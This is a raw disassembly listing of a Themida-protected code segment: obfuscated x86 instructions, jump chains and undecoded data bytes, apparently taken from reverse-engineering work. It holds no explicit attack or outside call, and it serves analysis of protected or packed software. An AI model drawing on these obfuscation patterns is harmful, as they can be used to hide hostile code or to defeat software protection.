--------------------------------------------------------------------------- dd 5604C483h, 5B6AE9h db 0 ; --------------------------------------------------------------------------- loc_55BF65: ; CODE XREF: Themida_:00550D10j jnz loc_551F76 sub esp, 4 mov [esp], edx jmp loc_56370B ; --------------------------------------------------------------------------- dw 6657h dd 0E90604BFh, 0FFFFBC0Fh ; --------------------------------------------------------------------------- loc_55BF80: ; CODE XREF: Themida_:0055982Aj shl ebp, 8 sub ebp, 58F6568Ah add ebp, 64797F68h sub ebp, 61E751FBh and ebp, 106326Dh jmp loc_555E21 ; --------------------------------------------------------------------------- loc_55BFA0: ; CODE XREF: Themida_:00556558j push eax jmp loc_562479 ; --------------------------------------------------------------------------- loc_55BFA6: ; CODE XREF: Themida_:0055C1A7j push dword ptr [esp] mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_55739C ; --------------------------------------------------------------------------- loc_55BFC4: ; CODE XREF: Themida_:00551961j add esp, 4 jmp loc_55B2D2 ; --------------------------------------------------------------------------- loc_55BFCF: ; CODE XREF: Themida_:00550E08j xor edx, [esp] jmp loc_561BE8 ; --------------------------------------------------------------------------- db 8Bh dd 0E5E9240Ch, 0D300001Fh, 0E99C240Ch, 0FFFF49C7h, 8B240C87h dd 0D9682424h, 8900005Bh, 74FF243Ch, 34FF0424h, 243C8B24h dd 2CD6E9h, 13EB8100h, 4304E609h, 5504E3C1h, 0FFEAE4E9h dd 0C48159FFh, 4, 10E268h, 24348900h, 0C6815E54h, 4, 0EEFAE957h dd 1C8BFFFFh, 7322E924h, 0C483FFFFh, 7EA7E904h, 0DFF70000h dd 0EF81E7D1h, 0F5472786h, 2D5FF809h, 48371C86h, 5EE9C101h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C05B: ; CODE XREF: Themida_:0055A057j push ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub esi, 1 jmp loc_557AB9 ; --------------------------------------------------------------------------- aBFSJ db '│ц',27h,'f" И\├',0 db 0 ; --------------------------------------------------------------------------- loc_55C081: ; CODE XREF: Themida_:00564E09j mov [esp], ebx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edx push ebp jmp loc_55FA29 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 4BD242Ch, 1000000h, 5068E9EEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C0B2: ; CODE XREF: Themida_:00560D24j push esp jmp loc_562F1A ; --------------------------------------------------------------------------- dd 8FE95954h, 0BFFFFF87h, 6FA6231Bh, 0E5CFC781h, 0F801E988h dd 1E8AE95Fh, 0A0BF0000h, 893F6530h, 2434FFFEh, 63E9525Fh dd 81FFFF7Bh, 4ECh, 243C8900h, 46852h, 525A0000h, 0FF6A11E9h dd 0ED814DFFh, 9F68E10Eh, 0FF5673E9h, 81D7F7FFh, 81EA0AC7h dd 0EAC7E9D7h, 0B850FFFFh, 35F153CDh, 0E958C289h, 0FFFF62F7h dword_55C120 dd 0E92434FFh, 82A4h ; DATA XREF: Themida_:005508D0o ; --------------------------------------------------------------------------- loc_55C128: ; CODE XREF: Themida_:005538F6j pop dword ptr [ebx] jmp loc_55CF69 ; --------------------------------------------------------------------------- db 50h dd 1E924A68h, 24048B4Ch, 0FFE098E9h, 58C230FFh, 8098C280h dd 40E938CAh, 5C00002Bh, 0E9241489h, 0FFFF7352h ; --------------------------------------------------------------------------- loc_55C154: ; CODE XREF: Themida_:00558B50j push esp pop ebx jmp loc_5577C8 ; --------------------------------------------------------------------------- loc_55C15B: ; CODE XREF: Themida_:00560421j add esp, 4 push ebp push esp pop ebp jmp loc_558375 ; --------------------------------------------------------------------------- loc_55C169: ; CODE XREF: Themida_:0055E207j mov esi, esp push eax mov eax, 4 add esi, eax jmp loc_560876 ; --------------------------------------------------------------------------- dd 0B9515558h, 4, 0FFA87EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C185: ; CODE XREF: Themida_:005538EEj push 1C56h mov [esp], ecx push 421C7EC8h pop ecx not ecx jmp loc_557E27 ; --------------------------------------------------------------------------- loc_55C19A: ; CODE XREF: Themida_:0055D904j pop esi add edi, 5D603D4Fh std push 0Ah jmp loc_55BFA6 ; --------------------------------------------------------------------------- dd 0D2E95A58h db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C1B3: ; CODE XREF: Themida_:0055BC70j pop eax or esi, 5E7A2F61h push ebx mov ebx, 0FFFFFFFFh sub esi, ebx pop ebx push eax push 5BFh mov [esp], edx jmp loc_55AF6C ; --------------------------------------------------------------------------- loc_55C1D1: ; CODE XREF: Themida_:005607C7j push eax push 4 pop eax sub edx, 608E3D18h add edx, eax add edx, 608E3D18h jmp loc_55D5FC ; --------------------------------------------------------------------------- db 87h dd 0D7F7243Ch, 0E9243C87h, 0FFFFBAADh, 0E9242C89h, 0FFFFA4E3h ; --------------------------------------------------------------------------- loc_55C200: ; CODE XREF: Themida_:00558DE5j mov edx, ecx jmp loc_556200 ; --------------------------------------------------------------------------- loc_55C207: ; CODE XREF: Themida_:0055A103j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push ebx sub dword ptr [esp], 27E018ABh pop ebp jmp loc_5620C9 ; --------------------------------------------------------------------------- db 83h dd 896602ECh, 0B450240Ch, 0A6C6E905h, 0E957FFFFh, 0FFFF5F03h ; --------------------------------------------------------------------------- loc_55C234: ; CODE XREF: Themida_:00550ED6j pop eax pop dword ptr [edi+20h] add dword ptr [edi+20h], 3B23515Dh push dword ptr [esp] pop ebx add esp, 4 jmp loc_552EC2 ; --------------------------------------------------------------------------- loc_55C24B: ; CODE XREF: Themida_:00560A55j push 2C43h mov [esp], ebx mov ebx, 411B1E90h jmp loc_55A031 ; --------------------------------------------------------------------------- loc_55C25D: ; CODE XREF: Themida_:00551733j push 2F2Eh jmp loc_550D2A ; --------------------------------------------------------------------------- loc_55C267: ; CODE XREF: Themida_:005516DEj push edx jmp loc_5573BB ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 1D0h, 0C7085804h, 0C0DFF658h, 526603EFh dd 0D7287CB2h, 0D22C5A66h, 0F800192Ch, 0D2041904h, 83241C8Bh dd 0B65204C4h, 45CE80B2h, 8019C680h, 39E944C6h, 56000055h dd 81E78957h, 4C7h, 4EF8300h, 8B243C87h, 0FCE92424h, 81FFFFEAh dd 0AB3FB0EBh, 5BD989FFh, 0FF51C8E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C2D1: ; CODE XREF: Themida_:0055BE3Dj mov eax, esp push ebp mov ebp, 74A75119h jmp loc_560EA9 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 5C241487h, 0FF7D15E9h, 0C3315DFFh, 0B60F66h, 2CB368h dd 241C8900h, 2434FF54h, 3C9E9h, 35EE8100h, 1065B20h, 8BC4E9C6h dd 0B4500000h, 60B195h, 0AEE958E1h db 62h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C31F: ; CODE XREF: Themida_:00554277j mov [esp], eax jmp loc_562852 ; --------------------------------------------------------------------------- db 81h dd 42404h, 0E95A0000h, 7819h, 0FF4676E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C339: ; CODE XREF: Themida_:00553D32j add ebp, 2 jmp loc_55AAD2 ; --------------------------------------------------------------------------- loc_55C341: ; CODE XREF: Themida_:0055DD9Bj add esp, 4 add esp, 4 jmp loc_56329B ; --------------------------------------------------------------------------- db 0B9h dd 2E9B3BBCh, 0FE91E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C35A: ; CODE XREF: Themida_:0055F161j add ebp, 0A656C135h jmp loc_5581FE ; --------------------------------------------------------------------------- loc_55C365: ; CODE XREF: Themida_:00559934j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_564949 ; --------------------------------------------------------------------------- dd 0AB468h, 24048900h, 1DE5BA52h, 0C2812604h, 43D031EEh dd 0E906EAC1h, 28E1h, 43E9E821h, 56FFFF63h, 4BEh, 8BF00100h dd 0C4812434h, 4, 0E902C083h, 87D6h ; --------------------------------------------------------------------------- loc_55C3B4: ; CODE XREF: Themida_:0055FB53j mov [esp], ebp push 5751h mov [esp], edx push esi mov esi, 47093E1Ah jmp loc_564D57 ; --------------------------------------------------------------------------- loc_55C3CA: ; CODE XREF: Themida_:005650B5j add edx, 4 jmp loc_550C7D ; --------------------------------------------------------------------------- loc_55C3D2: ; CODE XREF: Themida_:00561053j pop edi add ebx, edx push ecx mov ecx, 7C4A7217h jmp loc_551F44 ; --------------------------------------------------------------------------- dd 4BD55h, 0EE010000h, 2434875Dh, 657AE95Ch, 487FFFFh dd 0FAE95C24h, 0F7000082h, 9235E9DDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C402: ; CODE XREF: Themida_:005620E6j mov eax, 0F5C4C2C6h xor edi, eax pop eax add ecx, edi pop edi push edx mov edx, ecx mov eax, edx pop edx pop ecx shl eax, cl jmp loc_555391 ; --------------------------------------------------------------------------- loc_55C41B: ; CODE XREF: Themida_:0055972Fj push 3E19h mov [esp], esi jmp loc_559247 ; --------------------------------------------------------------------------- dd 5158C788h, 5352F988h, 0FE88CF88h, 9CE2E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C43A: ; CODE XREF: Themida_:005522F9j push esp pop ecx add ecx, 4 push ebp jmp loc_554270 ; --------------------------------------------------------------------------- dd 5357BA52h, 0B951063Bh, 14A32CBAh, 8159CB29h, 983DD1C3h dd 81D3012Dh, 983DD1EBh, 0BAC3812Dh, 5A14A32Ch, 4509EB81h dd 4DE9574Dh, 55FFFFE8h, 9672E952h, 248BFFFFh, 1C770924h dd 6D71E95Eh, 20E90000h db 45h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C48F: ; CODE XREF: Themida_:00554914j mov eax, 4 add ecx, 4844396Eh add ecx, eax sub ecx, 4844396Eh pop eax jmp loc_55A979 ; --------------------------------------------------------------------------- dd 0D44CDAB8h, 0E9C70149h, 1198h, 8395C780h, 896602ECh dd 0BBB5240Ch, 51E9EF30h db 7Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C4C7: ; CODE XREF: Themida_:00553D11j add esi, 4 push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_5562FC ; --------------------------------------------------------------------------- db 1, 0F0h, 5 dd 3B8552DDh, 2404335Eh, 0FF616CE9h, 240C89FFh, 1E9E189h dd 81000065h, 254DF7E6h, 4EC6811Ah, 89193F09h, 19EBE9F3h dd 0D8280000h, 8368FE04h, 89000049h, 0EC81241Ch, 4, 0B4240489h dd 30B6B75Ah, 80FCE9E7h db 2 dup(0FFh) word_55C52E dw 34FFh ; DATA XREF: Themida_:0055085Co dd 24048B24h, 4C481h, 0F2E90000h db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C53F: ; CODE XREF: Themida_:00561A3Fj movzx eax, ax jmp loc_561D8E ; --------------------------------------------------------------------------- loc_55C547: ; CODE XREF: Themida_:00559CA5j pop esp pop dword ptr [esp] jmp loc_557D6B ; --------------------------------------------------------------------------- loc_55C550: ; CODE XREF: Themida_:005599E3j pop edi pop ebp add esi, edi jmp loc_56547E ; --------------------------------------------------------------------------- db 5Ah, 50h, 0B8h dd 49B129E8h, 8158C201h, 0B232FDC2h, 9B8BE9E7h, 408FFFFh dd 38E99C24h, 0B8FFFF44h, 7DED348Dh, 5207E8C1h, 2EEAE9h db 0 ; --------------------------------------------------------------------------- loc_55C585: ; CODE XREF: Themida_:00551E6Dj pop bp jmp loc_56137E ; --------------------------------------------------------------------------- dd 57241489h, 0D0076EBFh, 1E1BBA64h, 0FA297C4Ch, 5E2C15Fh dd 0FFA50BE9h, 242C87FFh, 0E924248Bh, 0FFFF43FFh, 89E95F5Fh db 7Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C5B7: ; CODE XREF: Themida_:00553C36j mov edi, 6FE57301h sub edi, 3BB536D8h jmp loc_554C1B ; --------------------------------------------------------------------------- aISpb db '┴<$ИpB',0 db 0 ; --------------------------------------------------------------------------- loc_55C5CF: ; CODE XREF: Themida_:00558D35j pop ebp sub esi, 0A5376FEh push eax push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_5573B3 ; --------------------------------------------------------------------------- aTse db 'яБИ╔"',0 dw 0E900h dd 0FFFF43B7h ; --------------------------------------------------------------------------- loc_55C5F8: ; CODE XREF: Themida_:005516BDj mov esi, ebx push edi push ebx push 1B69h jmp loc_563473 ; --------------------------------------------------------------------------- dw 0C87h db 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5594A6 ; --------------------------------------------------------------------------- loc_55C612: ; CODE XREF: Themida_:00559EE7j push ecx mov ecx, 4A7D602Fh dec ecx xor ecx, 4A7D602Ah add ebp, ecx pop ecx sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx mov ebx, 2 add eax, 3D8D47ECh jmp loc_551930 ; --------------------------------------------------------------------------- dw 487h dd 14895C24h, 59B8BA24h, 0C6E91056h, 89FFFFC1h, 4C381E3h dd 83000000h, 1C8704C3h, 0B8505C24h, 101972EDh, 0B9252025h dd 40D8F730h, 3F9BF57h, 0F8096D6Eh, 5432055Fh, 0D2E92E3Bh dd 8B000094h, 25E92424h, 5CFFFF63h, 3FAAE9h db 0 ; --------------------------------------------------------------------------- loc_55C68D: ; CODE XREF: Themida_:00553F2Bj push ebx mov ebx, esp add ebx, 4 jmp loc_561917 ; --------------------------------------------------------------------------- db 51h dd 3920FA68h, 0F1E9591Fh, 91FFFFE3h, 2414F751h, 0F3E99159h db 7Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C6B3: ; CODE XREF: Themida_:0055EA10j add esp, 4 add ebp, ebx pop ebx pop eax add ebp, 2 xchg ebp, [esp] mov esp, [esp] idiv cl movzx cx, ah jmp loc_553046 ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48124h, 68000000h, 6283h, 0FFCA8DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C6E1: ; CODE XREF: Themida_:00559C6Ej sub esp, 4 jmp loc_55F610 ; --------------------------------------------------------------------------- loc_55C6EC: ; CODE XREF: Themida_:0055F6E7j push ebp mov ebp, 1C3164E9h and esi, ebp pop ebp push 92Ah mov [esp], ebx mov ebx, 778F309Ah shl ebx, 2 dec ebx jmp loc_559882 ; --------------------------------------------------------------------------- db 68h dd 4, 0FFC3815Dh, 16BF22Bh, 0DEBE56EBh, 0E93B4B20h, 8B21h ; --------------------------------------------------------------------------- loc_55C724: ; CODE XREF: Themida_:0055B0DFj push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_557D82 ; --------------------------------------------------------------------------- loc_55C731: ; CODE XREF: Themida_:0055F563j not ecx shl ecx, 4 not ecx jmp loc_55FCC0 ; --------------------------------------------------------------------------- db 1, 0D8h, 5Bh dd 0E9240487h, 0FFFFD2CCh ; --------------------------------------------------------------------------- loc_55C748: ; CODE XREF: Themida_:00564792j mov edi, [esp] push 134Bh mov [esp], ebx push esp jmp loc_5582A4 ; --------------------------------------------------------------------------- loc_55C759: ; CODE XREF: Themida_:00557298j add esp, 4 mov eax, ebp mov ebp, [esp] add esp, 4 push edi push 2959h mov [esp], esp add dword ptr [esp], 4 pop edi sub esp, 4 mov [esp], ebp mov ebp, 47C126B4h jmp loc_560CB5 ; --------------------------------------------------------------------------- db 88h dd 0CCFE5AF4h, 5866E188h, 80F3F180h, 0E2040EE9h, 0EC83C828h dd 0C896602h, 0C0F4B524h, 536607E5h, 471EE9h db 0 byte_55C7B1 db 66h, 0Fh, 0B6h ; DATA XREF: Themida_:005508E4o dd 31686602h, 489664Eh, 24EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C7C2: ; CODE XREF: Themida_:0055CD08j sub edi, ecx pop ecx add edi, 57939F5h pop esi xchg edi, [esp] mov esp, [esp] push 325Ah mov [esp], ecx jmp loc_55DD35 ; --------------------------------------------------------------------------- db 31h dd 0EA815EF2h, 3CA211FCh, 6804E2C1h, 2E19h, 0F7241489h dd 5EE92414h, 80FFFFFDh, 0D3282DEBh, 0E92DC380h, 197Dh dword_55C808 dd 0DD885166h, 2245C8Ah, 2246C88h, 53525966h, 0FA88EF88h ; DATA XREF: Themida_:00550878o dd 88DD885Bh, 0D5F65AD3h, 88EA8852h, 0D9F1E9DDh db 2 dup(0FFh) word_55C82E dw 8B66h ; DATA XREF: Themida_:00550714o dd 0E951240Ch, 0FFFF94FEh, 0C104C483h, 0DAF703EAh, 0FF57A3E9h dd 8BC589FFh, 0C4832404h, 65F2E904h, 0C4810000h, 4, 53BDE956h dd 0C8BFFFFh, 0E6895624h, 4C681h, 0C6830000h, 24348704h dd 7C58E95Ch, 4830000h, 83E90424h, 5EFFFFDAh, 2C1BE681h dd 0EE815793h, 341CB4DCh, 0FF75E7E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C891: ; CODE XREF: Themida_:00556348j push edx push esp jmp loc_552706 ; --------------------------------------------------------------------------- dd 8956C300h, 4C681E6h, 83000000h, 343304EEh, 24343124h dd 5C243433h, 0FFCB69E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C8B5: ; CODE XREF: Themida_:0055DC3Aj push dword ptr [esp] jmp loc_55422D ; --------------------------------------------------------------------------- loc_55C8BD: ; CODE XREF: Themida_:00558A73j pop esp add esp, 4 jmp loc_562FE3 ; --------------------------------------------------------------------------- loc_55C8C9: ; CODE XREF: Themida_:005603A0j pop edx jmp loc_551755 ; --------------------------------------------------------------------------- loc_55C8CF: ; CODE XREF: Themida_:00559D50j add ebp, 0FFFFFFFFh add ebp, 77FC7896h jmp loc_559DD8 ; --------------------------------------------------------------------------- loc_55C8DD: ; CODE XREF: Themida_:00552563j push 2A1Dh mov [esp], ecx mov ecx, 0F2B83599h add eax, ecx pop ecx sub edx, eax pop eax xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov [esp], ebx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx mov ecx, edx jmp loc_553884 ; --------------------------------------------------------------------------- dw 0E945h dd 0FFFF410Eh, 4C381h, 23680000h, 0E9000066h, 0FFFFB0E9h dd 8095F280h, 0DE95DEAh db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C93B: ; CODE XREF: Themida_:00554145j add esp, 4 jmp loc_55A247 ; --------------------------------------------------------------------------- db 33h dd 0B9E92404h, 8700002Dh, 585C241Ch, 9243E9h, 0FA895F00h dd 5F91E9h db 0 ; --------------------------------------------------------------------------- loc_55C95D: ; CODE XREF: Themida_:00565B89j mov edi, edx pop edx pop ebx push edx jmp loc_5563DF ; --------------------------------------------------------------------------- db 50h dd 31231B8h, 8150532Eh, 17E12404h, 69E92C8Fh db 0C7h, 2 dup(0FFh) byte_55C97B db 66h ; DATA XREF: Themida_:00550874o dd 5524048Bh, 0BE565D54h, 4, 254FC581h, 0C5811DA2h, 387124BEh dd 191EED81h, 0F5013D1Ah, 191EC581h, 0ED813D1Ah, 387124BEh dd 54C7B951h, 0E9570321h, 3C67h, 0E9242489h, 60F6h, 0C530D9B0h dd 0EDC05866h, 9E7CE906h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C9CA: ; CODE XREF: Themida_:00553284j pop esp mov [esp], eax jmp loc_564661 ; --------------------------------------------------------------------------- db 81h dd 0CC54B9F2h, 5AD721C4h, 70F9CF81h, 0CF876780h, 415AE9h dd 8BF13100h, 0C4832434h, 80E18104h, 8168D353h, 320167E9h dd 51BEE9F9h, 5E58FFFFh, 4C7EE9h, 0E95B6600h, 0FFFFC145h dd 0FF3F9AE9h, 243C8BFFh, 0D04C483h, 6D184DAAh, 0D8234C2Dh dd 58C58941h, 45E9E5D1h, 5EFFFFD0h, 4EEE9h, 24348B00h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push eax mov eax, esp add eax, 4 add eax, 4 push 3377h mov [esp], eax push dword ptr [esp+4] push dword ptr [esp] pop eax add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_555150 ; --------------------------------------------------------------------------- loc_55CA74: ; CODE XREF: Themida_:005643A8j pop edx add esi, 354059B9h push 757Eh jmp loc_5626D8 ; --------------------------------------------------------------------------- aQtysq db 'QTYИ÷',0Ah,0 dd 0B9514E00h, 196533CBh, 0C8BCE09h, 4C48324h, 0FFFBF681h dd 0BA68FDFFh, 8900002Ah, 0E2892414h, 4C281h, 0EA810000h dd 4, 9F3CE952h, 5652FFFFh, 17325068h, 24348B01h, 4C481h dd 0F2890000h, 8B2434FFh, 0C4812434h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] xchg ebp, edx neg ebp xor edx, ebp xor ebp, edx xor edx, ebp jmp loc_553D16 ; --------------------------------------------------------------------------- dw 74FFh dd 8F580424h, 248B2404h, 4EC8124h, 0E9000000h, 0FFFFB9DBh dd 89243C89h, 4C781E7h, 0E9000000h, 0FFFF702Fh, 0A199C181h dd 0CB0905E2h, 4BEB8159h, 4B4BB210h, 11A0E9h db 0 ; --------------------------------------------------------------------------- loc_55CB41: ; CODE XREF: Themida_:00554CD3j mov [esp], edi mov edi, 762F60C2h jmp loc_55D9CA ; --------------------------------------------------------------------------- loc_55CB4E: ; CODE XREF: Themida_:005516CAj add ebx, 35501844h dec ebx or ebx, 29013197h not ebx push ebp jmp loc_552DF5 ; --------------------------------------------------------------------------- loc_55CB63: ; CODE XREF: Themida_:00559506j push 7DD1h mov [esp], ecx push ebp mov ebp, 1D3F3291h or ebp, 58454D54h sub ebp, 0ACB703Ch jmp loc_551471 ; --------------------------------------------------------------------------- loc_55CB82: ; CODE XREF: Themida_:0055D3C3j add esp, 4 add edx, 1 jmp loc_559CE7 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd offset dword_4F6844+724h dd 24048900h, 86685854h, 0E9000046h, 7DFCh, 0BB241C89h dd 4, 4245C01h, 0E9241C8Bh, 0FFFFC4B0h, 3542C381h, 34FF6935h dd 68F2E924h, 0C4810000h, 4, 8B24048Fh, 3CD32424h, 0D4E99C24h db 3Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CBDB: ; CODE XREF: Themida_:00557714j sub esi, edx add esi, 3BBA4522h pop edx xor esi, 4B590B62h jmp loc_555363 ; --------------------------------------------------------------------------- db 51h dd 0FF809DE9h, 383905FFh, 0F8012B2Bh, 0FF96DEE9h, 44E950FFh db 9Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CC07: ; CODE XREF: Themida_:00554122j sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], eax sub esp, 4 mov [esp], esp jmp loc_55D0F5 ; --------------------------------------------------------------------------- dd 4055854h, 0E9000000h, 0FFFFA89Eh ; --------------------------------------------------------------------------- loc_55CC30: ; CODE XREF: Themida_:0055D6C5j xor edx, 8068C894h xor edi, edx pop edx add edi, 0FFFFFFFFh jmp loc_55EBF4 ; --------------------------------------------------------------------------- db 0FEh, 0C0h, 4 dd 41C3E9F9h db 2 dup(0FFh) word_55CC4A dw 68ADh ; DATA XREF: Themida_:00550824o dd 1AE6h, 0FF6360E9h, 243C8BFFh, 4C481h, 2C8B0000h, 4C48324h dd 685BD831h, 3D77h, 83243C89h, 148904ECh, 5DE95124h, 0FF000014h dd 0E9042474h, 0FFFF9EABh ; --------------------------------------------------------------------------- loc_55CC84: ; CODE XREF: Themida_:00558407j xor dword ptr [esp], 5AFB7A9Eh pop edx xor edx, 5AFB7A9Eh pop ebx push eax push ecx jmp loc_56178F ; --------------------------------------------------------------------------- dw 555Ah dd 0EA7E9h db 0 ; --------------------------------------------------------------------------- loc_55CCA1: ; CODE XREF: Themida_:0055904Fj add ebx, 2 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov cx, [esp] push 17BAh mov [esp], ecx push ebx jmp loc_552052 ; --------------------------------------------------------------------------- loc_55CCC2: ; CODE XREF: Themida_:005518A9j and eax, 6A175016h dec eax and eax, 20CC52D3h not eax inc eax add eax, 417E7788h sub edx, eax jmp loc_5631E0 ; --------------------------------------------------------------------------- dd 25B8EA81h, 0EA81651Ah, 4AB01837h, 0C281FA01h, 4AB01837h dd 5F7AB850h, 3E05130Eh, 0E9520BC6h, 36EDh ; --------------------------------------------------------------------------- loc_55CD00: ; CODE XREF: Themida_:0055A2A2j add edi, esi push ecx mov ecx, 28F626A4h jmp loc_55C7C2 ; --------------------------------------------------------------------------- db 53h, 2 dup(0BBh) dd 5230647Eh, 0BC5418BAh, 6781E95Ah, 56B10000h, 2847E980h dd 8E6859CAh, 8900000Ch, 7BB7241Ch, 0C004E7C0h, 0CFFE06EFh dd 9E28E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CD3E: ; CODE XREF: Themida_:0055391Cj push ebx jmp loc_55E85B ; --------------------------------------------------------------------------- dd 6BC8C781h, 0FE01BD03h, 0FFF5015Fh, 348B2434h, 4C48324h dd 6F7EE9h, 240C8B00h, 2904C483h, 5EB3E9D1h, 0C4810000h dd 4, 6DC7F681h, 0B95152B9h, 6A8E13BDh, 0C8BCE31h, 0E2895224h dd 4C281h, 0C3E90000h, 29FFFF9Ch, 0E90158C1h, 77FCC181h dd 2C8B7088h, 75CAE924h, 8B680000h, 89000002h, 2CB82404h dd 0E9553322h, 7FDAh ; --------------------------------------------------------------------------- loc_55CDB4: ; CODE XREF: Themida_:00555567j shl edi, 4 jmp loc_554A2D ; --------------------------------------------------------------------------- dd 592FBDBDh, 0D4F5813Bh, 811E9814h, 0FFFFFFC5h, 4E5C1FFh dd 471ECD81h, 0ED81521Ch, 301CE56Dh, 625AEB81h, 0EB013656h dd 10D6BF57h, 0DFF70453h, 8CD0EF81h, 0FB01C556h, 8064E95Fh dd 0C5810000h, 4, 0E904C583h, 7CFh, 4C56E952h, 5D54FFFFh dd 4C581h, 0C5810000h, 4, 0FF6D56E9h, 81E389FFh, 4C3h dd 877CE900h db 2 dup(0FFh) word_55CE2E dw 68ADh ; DATA XREF: Themida_:00550804o dd 16E4h, 0FF5A9BE9h, 0E8C281FFh, 812DFF25h, 0E1B508EAh dd 5AD10127h, 215EB81h, 0CB295AF7h, 215C381h, 0C8B5AF7h dd 4C48124h, 8B000000h, 6E92434h, 57FFFFF4h, 875849BFh dd 0A7B9BA31h, 0FA01CE78h, 7058E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CE7A: ; CODE XREF: Themida_:0055B4ABj pop eax not dh and dh, 0D5h sub esp, 4 mov [esp], ecx mov cl, 94h sub cl, 9Dh sub cl, 0A4h sub cl, 0Ah jmp loc_555009 ; --------------------------------------------------------------------------- aVho db 'VhO)',0 align 4 dd 52242489h, 0FF6BE0E9h, 0E9D3F6FFh, 16DDh, 80C30058h dd 5856C3h, 0B25250C3h, 8BD488D0h, 0C4832414h, 7195E904h dd 0EE810000h, 18F7E535h, 24E9F789h, 66FFFFDAh, 280EB252h dd 0E95A66D0h, 0FFFFEE48h, 0C158C329h, 0D3F705E3h, 7B5BC381h dd 0DBE95893h, 52FFFFC5h, 0C281E289h, 4, 4EA81h, 14870000h dd 24248B24h, 54240C89h, 4E95759h, 5100003Bh, 3C56E9h dd 4B900h, 59E90000h, 31000047h, 8A31E9E8h, 0E953FFFFh dd 71E9h ; --------------------------------------------------------------------------- loc_55CF30: ; CODE XREF: Themida_:0056178Aj mov ebp, 6F0D5D08h sub ebp, 4F105BE1h not ebp add ebp, 37365172h jmp loc_55D70E ; --------------------------------------------------------------------------- dd 206C6852h, 0E95A7841h, 0E0Ch, 4C181h, 0BE90000h, 58FFFF81h dd 8247C01h, 9D0E9h db 0 ; --------------------------------------------------------------------------- loc_55CF69: ; CODE XREF: Themida_:0055C12Aj pop ebx mov edi, [esp] sub esp, 4 mov [esp], ecx push esp jmp loc_551281 ; --------------------------------------------------------------------------- aAVhi db '─цvhI>',0 align 4 dd 68240489h, 0EC4h, 0B2241489h, 17B050D2h, 0FFF1A4E9h dd 0E1C141FFh, 81D1F705h, 18EADE9h, 59CA29DCh, 5DD8C281h dd 0FAE903CCh db 73h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CFB3: ; CODE XREF: Themida_:00562FD7j add edi, 3C8533BCh pop ebp add edi, 4 jmp loc_55414A ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 8B04C483h, 25E9241Ch, 5CFFFF97h, 3AB3E9h, 24343300h dd 0FFA673E9h, 4B850FFh, 1000000h, 348758C6h, 24248B24h dd 8B243C87h, 1C892424h, 515B5424h, 468h, 0CB015900h, 81240C8Bh dd 4C4h, 0E1895100h, 4C181h, 0E9570000h, 0FFFF9A6Eh dword_55D01C dd 24048B66h, 72A068h, 243C8900h, 2434FF54h, 0E189515Fh ; DATA XREF: Themida_:00550964o dd 34B95156h, 0BE45A776h, 45A77638h, 7E22EE81h, 0CE292BEBh dd 7E22C681h, 57592BEBh, 607207BFh, 0D3E78138h, 813B6C72h dd 18F8EBEFh, 0C6E981CFh, 0E9045D23h, 5146h, 4EE81h, 0DB680000h dd 89000056h, 74FF2434h, 348B0424h, 4C48124h, 8F000000h dd 895C2404h, 8EB1240Ch, 6866DEB7h, 0DE965E7h, 53000039h dd 8817E9h, 1819B900h, 0CA0162CCh, 0FF50E2E9h, 51D6F6FFh dd 0C9FE06B1h, 